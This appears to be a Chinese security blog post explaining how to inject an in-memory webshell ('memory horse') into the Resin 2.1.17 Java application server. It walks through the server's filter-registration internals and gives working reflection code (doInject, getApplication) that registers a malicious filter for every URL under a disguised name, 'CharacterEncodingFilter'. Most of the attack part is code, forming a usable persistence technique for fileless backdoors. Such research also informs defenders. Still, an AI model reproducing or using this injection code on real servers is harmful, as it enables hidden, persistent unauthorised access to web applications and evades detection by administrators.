Java安全之Resin2内存马

Java安全之Resin2内存马

环境

resin2.1.17

添加Filter分析

依然是web.xml注册一个filter,debug进去看注册流程

debug dofilter逻辑时看到如下代码,最终走入this._filterChain = this._application.buildFilterChain(this, this._config);去build filterchain。并且貌似是初始化的时候才会去buildfilterchain,当后面第二次再走时,这里的_filterchain已经是有值的了。

Java安全之Resin2内存马

this._application应为上下文对象,继续往下跟通过QFilterConfig#createFilter来创建了一个Filter,之后new 了一个FilterChain

Java安全之Resin2内存马

注意下面三个对象,添加上即可

Java安全之Resin2内存马

_filterMap

首先看FilterMap构造,主要是Regexp,QFilterConfig后面再说

Java安全之Resin2内存马

可以反射实例化之后调用方法或者set属性来设置值

class FilterMap {     static L10N L;     private String servletName;     private Regexp regexp;     private Object data;      FilterMap() {     }      void setServletName(String servletName) {         this.servletName = servletName;     }      void setRegexp(String regexpPattern, String flags) throws Exception {         this.regexp = new Regexp(regexpPattern, flags);     }      void setURLPattern(String urlPattern, String flags) throws ServletException {         this.regexp = this.urlPatternToRegexp(urlPattern, flags);     } 

下面看Regexp ,其实就是一个正则来控制的路由处理

^.*$ ^(?=/)|^$ 

调用有参构造即可

Java安全之Resin2内存马

_filters

hashtable对象,key为filtername,value为QFilterConfig对象,key可以随便伪造成个正常的

Java安全之Resin2内存马

_filterList

直接add一个QFilterConfig元素即可

Java安全之Resin2内存马

看到QConfigFilter,Registry为空就走if的逻辑,传入构造好的属性即可

package com.caucho.server.http;  import com.caucho.util.BeanUtil; import com.caucho.util.CauchoSystem; import com.caucho.util.L10N; import com.caucho.util.RegistryNode; import java.util.Collections; import java.util.Enumeration; import java.util.HashMap; import java.util.Iterator; import javax.servlet.Filter; import javax.servlet.FilterConfig; import javax.servlet.ServletContext; import javax.servlet.ServletException;  class QFilterConfig implements FilterConfig {     static L10N L;     private static HashMap _configElements;     private Application _application;     private RegistryNode _registry;     private RegistryNode _initRegistry;     private String _name;     private String _className;     private HashMap _init;     private Filter _filter;      QFilterConfig(Application application, String name, String defaultClassName, RegistryNode registry) throws ServletException {         this._application = application;         this._registry = registry;         this._name = name;         this._init = new HashMap();         if (registry == null) {             if (defaultClassName == null) {                 this._className = name;             } else {                 this._className = defaultClassName;             }          } else {             this._className = registry.getString("filter-class", defaultClassName);             Iterator iter = registry.iterator();              while(iter.hasNext()) {                 RegistryNode node = (RegistryNode)iter.next();                 if (node.getName().equals("init-param")) {                     try {                         application.fillParam(node, this._init);                     } catch (ServletException var8) {                         throw var8;                     } catch (Exception var9) {                         throw new ServletException(var9);                     }                 } else if (node.getName().equals("init")) {                     this._initRegistry = node;                 } else if (_configElements.get(node.getName()) == null) {                     throw Application.error(node, L.l("unknown element `{0}' in {1}", node.getName(), registry.getName()));                 }             }          }     } 

后面就是用c0ny1师傅的java-object-searcher工具挖掘Application和Request在当前线程上下文的位置即可。

//设置搜索类型包含ServletRequest,RequstGroup,Request...等关键字的对象 List<Keyword> keys = new ArrayList(); keys.add(new Keyword.Builder().setField_type("Request").build()); keys.add(new Keyword.Builder().setField_type("Application").build()); //新建一个广度优先搜索Thread.currentThread()的搜索器 SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys); //打开调试模式 searcher.setIs_debug(true); //挖掘深度为20 searcher.setMax_search_depth(20); //设置报告保存位置 searcher.setReport_save_path("/tmp/"); searcher.searchObject(); 

result

# Request TargetObject = {java.lang.Thread}    ---> target = {com.caucho.server.TcpConnection}     ---> request = {com.caucho.server.http.HttpRequest}           # Application         TargetObject = {java.lang.Thread}    ---> contextClassLoader = {com.caucho.java.CompilingClassLoader}         ---> attributes = {java.util.Hashtable}           ---> attributes = {com.caucho.server.http.Application}  

Java安全之Resin2内存马

后面直接添加即可

主要代码

    private static void doInject(){         filterName = "CharacterEncodingFilter-" + System.nanoTime();         try {             if (APPLICATION !=null){                  // Regexp //                Class RegexpClazz = getClazz("com.caucho.regexp.Regexp"); //                Constructor RegexpConstructor = RegexpClazz.getDeclaredConstructor(String.class); //                Object regexpObj = RegexpConstructor.newInstance("^(?=/)|^$");                  // QFilterConfig                 Class QFilterConfigclazz = getClazz("com.caucho.server.http.QFilterConfig");                 Constructor QFilterConfigConstructor = QFilterConfigclazz.getDeclaredConstructor(getClazz("com.caucho.server.http.Application"), String.class, String.class, getClazz("com.caucho.util.RegistryNode"));                 QFilterConfigConstructor.setAccessible(true);                 Object QFilterConfigObj = QFilterConfigConstructor.newInstance(APPLICATION, filterName, "HiganbanaFilter", null);                  // FilterMap                 Class filterMapClazz = getClazz("com.caucho.server.http.FilterMap");                 Constructor filterMapConstructor = filterMapClazz.getDeclaredConstructor();                 filterMapConstructor.setAccessible(true);                 Object filterMap = filterMapConstructor.newInstance();                 // set FilterMap regexp                 Method setRegexpMethod = filterMap.getClass().getDeclaredMethod("setURLPattern", String.class, String.class);                 setRegexpMethod.setAccessible(true);                 setRegexpMethod.invoke(filterMap,"/*", null);                  // set FilterMap data                 Method setDataMethod = filterMap.getClass().getDeclaredMethod("setData", Object.class);                 setDataMethod.setAccessible(true);                 setDataMethod.invoke(filterMap,QFilterConfigObj);                  // add FilterMap 2 _filterMap                 ArrayList _filterMap = (ArrayList) getFV(APPLICATION, "_filterMap");                 _filterMap.add(filterMap);                  // add QFilterConfig 2 _filterList                 ArrayList _filterList = (ArrayList) getFV(APPLICATION, "_filterList");                 _filterList.add(QFilterConfigObj);                  // put QFilterConfig 2 _filters                 Hashtable _filters = (Hashtable) getFV(APPLICATION, "_filters");                 _filters.put(filterName, QFilterConfigObj);              }           } catch (Exception e) {          }      }      private static void getApplication(){         Thread thread = Thread.currentThread();         ClassLoader contextClassLoader = thread.getContextClassLoader();         Hashtable attributesObj1 = (Hashtable) getFV(contextClassLoader,"attributes");         APPLICATION = attributesObj1.get("caucho.application");     } 

但是有个弊端,debug逻辑的时候发现,只有在当前web.xml中已经存在有filter才能添加进去。暂未解决该问题。

最后

项目遇到的感觉比较有趣且极端的问题,虽然也不是很好的解决方案。

发表评论

相关文章